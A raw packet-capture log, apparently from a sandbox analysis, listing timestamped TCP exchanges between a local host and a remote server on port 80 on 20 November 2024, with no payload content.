Nov 20, 2024 05:02:19.699210882 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699222088 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699230909 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699238062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699239969 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699255943 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699264050 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699270964 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699287891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699290037 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699297905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699306965 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699309111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699326992 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699337006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699350119 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699367046 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699378014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699378014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699378014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699378014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699383974 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699395895 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699402094 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699408054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699418068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699428082 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699429989 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699441910 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699451923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699462891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699465990 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699471951 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699481964 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699482918 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699492931 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699502945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699512005 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699521065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699522972 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699532986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699543953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699551105 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699553013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699564934 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699568987 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699593067 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699614048 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.758588076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758599043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758609056 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758618116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758629084 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758637905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758646965 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.758649111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758658886 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758668900 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758676052 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.758680105 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758685112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.758691072 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758701086 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758708954 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.758712053 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758721113 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758728981 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.758759022 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.758933067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758944035 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758954048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.758975983 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.758985996 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.759000063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759011030 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759021044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759031057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759035110 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.759058952 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.759076118 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.759692907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759701967 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759711027 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759727001 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759735107 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.759737968 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759748936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759752035 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.759761095 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759778023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.759799957 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.759805918 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.759843111 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760055065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760092020 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760159969 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760171890 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760181904 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760193110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760196924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760204077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760210037 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760215044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760231018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760236025 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760257006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760273933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760441065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760451078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760462046 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760477066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760481119 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760484934 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760490894 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760502100 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760504961 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760513067 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760523081 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760524035 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760550976 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760564089 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760838985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760874987 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760895014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760904074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760921955 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760931969 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760941982 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760942936 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760970116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760976076 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.760979891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.760987997 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.761012077 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.761287928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.761298895 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.761308908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.761322021 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.761334896 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.761358976 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.761358976 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.761369944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.761380911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.761389971 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.761399984 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.761468887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.761468887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.762418032 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.762428999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.762458086 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.762471914 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.762515068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.762525082 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.762537003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.762552023 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.762559891 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.762562990 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.762574911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.762583017 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.762609959 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.762623072 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784146070 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784190893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784203053 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784234047 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784254074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784255981 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784265995 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784288883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784292936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784301996 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784307003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784320116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784333944 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784344912 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784365892 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784671068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784683943 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784696102 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784713984 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784718037 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784729958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784732103 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784742117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784754038 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784754038 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784765959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.784781933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.784807920 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785151005 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785192013 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785218000 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785231113 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785243988 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785254002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785257101 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785270929 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785283089 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785299063 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785358906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785371065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785382986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785393953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785398960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785408020 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785413980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785424948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785425901 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785437107 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785440922 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785449982 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785464048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785473108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785476923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785487890 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785500050 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785502911 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785511017 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785526991 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785531044 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785542011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785552979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785553932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785566092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785567045 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785578012 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785594940 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785620928 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785806894 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785850048 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785928011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785938978 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785948992 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785958052 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785968065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785968065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785978079 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.785979033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.785989046 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.786000013 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.786025047 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.786396980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.786406994 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.786418915 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.786432981 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.786453009 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.786459923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.786469936 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.786484003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.786490917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.786494970 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.786504984 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.786514997 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.786535978 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.786576033 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.848617077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848627090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848637104 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848650932 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848661900 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848670959 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848680973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848705053 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.848730087 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.848762035 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848773003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848783016 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848792076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848802090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848803997 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.848813057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848824024 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.848860979 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.848942995 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848953009 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.848978996 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.849004030 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.849122047 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.849140882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.849163055 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.849175930 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.849190950 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.849201918 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.849211931 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.849222898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.849231005 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.849232912 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.849241018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.849242926 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.849276066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.849298000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.850188971 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.850205898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.850214958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.850224972 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.850233078 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.850234985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.850244999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.850258112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.850286961 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.850363016 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.850373030 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.850402117 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851283073 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851296902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851308107 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851326942 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851334095 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851337910 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851346016 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851347923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851360083 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851368904 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851377964 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851378918 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851388931 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851391077 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851398945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851408958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851413012 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851418972 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851428032 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851428032 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851438999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851449966 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851458073 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851489067 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851641893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851651907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851661921 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851680994 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851707935 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851794958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851805925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851814985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851825953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.851839066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851865053 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.851974964 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.852014065 CET	49730	80	192.168.2.4	185.156.72.65
